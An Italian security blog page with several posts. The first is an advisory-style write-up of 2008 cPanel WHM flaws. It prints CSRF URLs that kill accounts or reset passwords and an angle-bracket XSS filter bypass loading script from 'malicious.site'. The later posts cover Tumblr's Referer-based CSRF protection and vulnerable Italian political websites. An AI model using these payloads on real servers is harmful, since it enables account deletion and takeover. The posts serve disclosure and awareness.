cPanel 11: Cross-Site Scripting e Request Forgery multipli

Manual XSS

cPanel è una applicazione Web proprietaria per l’automazione di server che forniscono Web Hosting, nata per semplificare il lavoro agli amministratori. Il software è diviso in due parti principali: cPanel e WHM (Web Host Manager). La prima è utilizzata dai clienti , i quali siti sono ospitati sul server, per gestire le varie configurazioni del proprio spazio. La seconda è utilizzata dall’amministratore e da eventuali rivenditori per la gestione dell’intera macchina e degli account dei clienti.

Di default WHM risponde alla porta 2086 (HTTP) e 2087 (HTTPS) del server dove l’applicazione è installata e utilizza autentication basic per l’accesso. Un accesso privilegiato su WHM permette il controllo a livello root della macchina. Ovvero le funzioni richiamabili da Web sono critiche per l’integrità del server.

Purtroppo però qualsiasi funzione è richiamabile tramite CSRF (Cross-site Request Forgery). L’attaccante, conoscendo la porta e il dominio dove la vittima (l’utente con privilegi su WHM) ha effettuato il login, può far visitare una pagina appositamente creata contenente un url, caricata ad esempio con il tag “<img>”, simile a questa https://host_of_cpanel:2087/scripts/killacctlist?domain=victim.com&user=victim
Non credo serva dell’immaginazione per capire cosa succederà.
cPanel ha introltre sviluppato delle API in formato XML per semplificare l’integrazione delle funzioni di amministrazione di WHM in software di terze parti. Le API utilizzano la stessa porta e lo stesso tipo di autenticazione di WHM, questo fa si che se la vittima ha attiva una sessione su WHM possono essere usate le API XML per condurre attacchi CSRF in maniera semplificata. Ad esempio una url di questo tipo https://host_of_cpanel:2087/xml-api/passwd?user=victim&pass=0wnedpasswd permette di modificare la password di un qualsiasi utente presente sul server.

Le funzioni di WHM soffrono anche di problemi nell’input-validation nel caso specifico XSS (Cross-site Scripting). Era già stata creata una funzione di encoding HTML dei caratteri “pericolosi” per attacchi XSS, ma evidentemente non è stata implementata nel modo giusto. Utilizzando un numero arbitrario di parentesi angolari intorno al tag <script> è possibile bypassare il filtro:
>><<<<<<<<<<<<script src=”http://malicious.site/code.js” a=>>>>>>>><

Non vedo limiti di utilizzo di questa vulnerabilità; l’unico limite è la fantasia e una dose di social engineering. Mi sembra molto interessante poter recuperare la lista degli account presenti sul server.

Come spiegato anche nell’advisory originale, nelle versioni 11.18.4+ e 11.22.3+ le vulnerabilità XSS sono state risolte mentre quelle CSRF sono state mitigate inserendo un controllo dei referer HTTP al momento di una richiesta ad una funzione di WHM. Attenzione perchè, come spiegato nel post sul blog di cPanel, la funzione “anti-XSRF attacks” va abilitata a mano all’interno di “Tweak Settings”.

Spero che il prima possibile il core delle funzioni di WHM venga riscritto! Come già visto, nell’advisory su Tumblr, i referer HTTP non sono da utilizzare per funzioni anti-CSRF.

Maggiori riferimenti possono essere trovati su Secunia Advisory ID 30166 e come CVE-2008-2070 e CVE-2008-2071.
Segnalo inoltre che sono state segnalate vulnerabilità simili anche sulla parte en-user di cPanel: maggiori informazioni su Secunia ID 30027.

 

SQL Injection: think out of the box

SQL Injection

In Spagna si lavora ad un sistema automatizzato per la gestione e la registrazione delle infrazioni stradali e relative multe. A tal scopo sarà utilizzato un database centralizzato in modo da poter smistare e verificare la mole di dati nazionali.
Il sistema sarà basato sul riconoscimento automatico delle targhe inviando così al database tutti i dati delle infrazioni.

L’immagine, presa da Alfredo Reino, è volutamente provocatoria ma quanto così distante dalla realtà?

Non sono l’unico ad aver pensato alle ZTL Italiane ed in particolare all’Ecopass di Milano: “Sql injection sul Gate di Milano?

Grazie a pollycoke per l’assistenza sugli articoli in lingua spagnola.

 

Tumblr worm, quando i blog diventano virali

Probabilmente molti avranno già letto l’alrticolo, Così nasce un worm internet pubblicato ieri  su Punto Informatico.
Eviterò quindi di fare una introduzione all’argomento passando invece subito alla parte più tecnica che non ha potuto trovare spazio su PI.

Tumblr è un noto dominio dove si possono creare dei miniblog, meglio detti tumblelog. Ogni utente viene ospitato su sottodomini di tumblr.com (site:*.tumblr.com Risultati 125.000) oppure su un dominio proprio configurato per l’occasione. Questa configurazione porta ad eseguire codice JavaScript solamente nel dominio utilizzato per il proprio tumblelog: per le same-origin policy, non potrà essere sfruttato per attaccare la Dashboard, che risiede sul dominio www.tumblr.com.

Sono state prese ulteriori cautele dal punto di vista della sicurezza applicativa: ogni video è inserito nel proprio tumblelog innestandolo in un sotto dominio creato ad-hoc, i cookie hanno come path il dominio completo di www e ad ogni richiesta POST fatta per modificare/inserire il proprio profilo o micro-post viene controllato l’header Referer.
E’ stato proprio quest’ultima accortezza a destare i primi dubbi. Il controllo veniva soddisfatto solamente quando arrivava una richiesta da “www.tumblr.com/new/” oppure se il Referer era completamente vuoto.
Il Referer è un header di user-input ovvero viene inviato dal browser al server. E’ possibile, sfruttando qualche trick in JavaScript, magari non documentata, riuscire a modificare o addirittura cancellare il Referer al momento dell’invio di richieste POST o GET.
(Continua…)

 

Partiti politici: a volte si trovano tutti d’accordo


Creative Commons License photo credit: ƒreg

E’ un momento assai tragicomico per il panorama politico su Web.
Non più di dieci giorni fa Roberto Scaccia segnalò una vulnerabilità sul sito del PD che ha dato il via ad una serie di segnalazioni a tutto campo. Punto Informatico, rifacendosi ad una pubblicazione di Matteo Flora, ha intitolato un articolo “Elezioni, siti Web a rischio?“. Lo stesso Flora ha rincarato la dose con un articolo dal titolo “La politica dell’ignoranza” da dove riporto:

Questi episodi ricordano come l’Italia, sotto questo versante, abbia ancora molto da imparare. Credo che sia assolutamente necessario iniziare a chiedere la qualità.

La lista dei siti Web politici è già lunga, ma sono sicuro che si potrebbe allungare ancora.
Continuare lo sproloquio di domini vulnerabili ha poco senso. Avrebbe senso, forse, segnalare le vulnerabilità attive ai proprietari e ai realizzatori, ma con quale speranza? Forse quella che, nella migliore della ipotesi, non si veda mai risposta.

Non è la fama che cerco, ma una maggiore consapevolezza nelle tecnologie utilizzate, altrimenti che senso ha utilizzarle come propaganda?

Non mi sembra che evitare XSS e SQL Injection (lasciando perdere le altre vulnerabilità meno di moda) sia così complesso. Ma si sa, in Italia, si corre ai ripari solo dopo che si finisce sui canali main-stream; “Striscia la Notizia” in primis. Che tristezza.

Internet è una massa critica, diversa da quella dei media tradizionali, ciò ne richiede un utilizzo consapevole e sincero. Proprio in questi ultimi giorni si è creata una intensa discussione e una lettera aperta dopo una intervista della Dott.sa. Graziottin a Porta a Porta.

Permettetemi un “plis visit de uebsait end plis pech ioars uebsait“.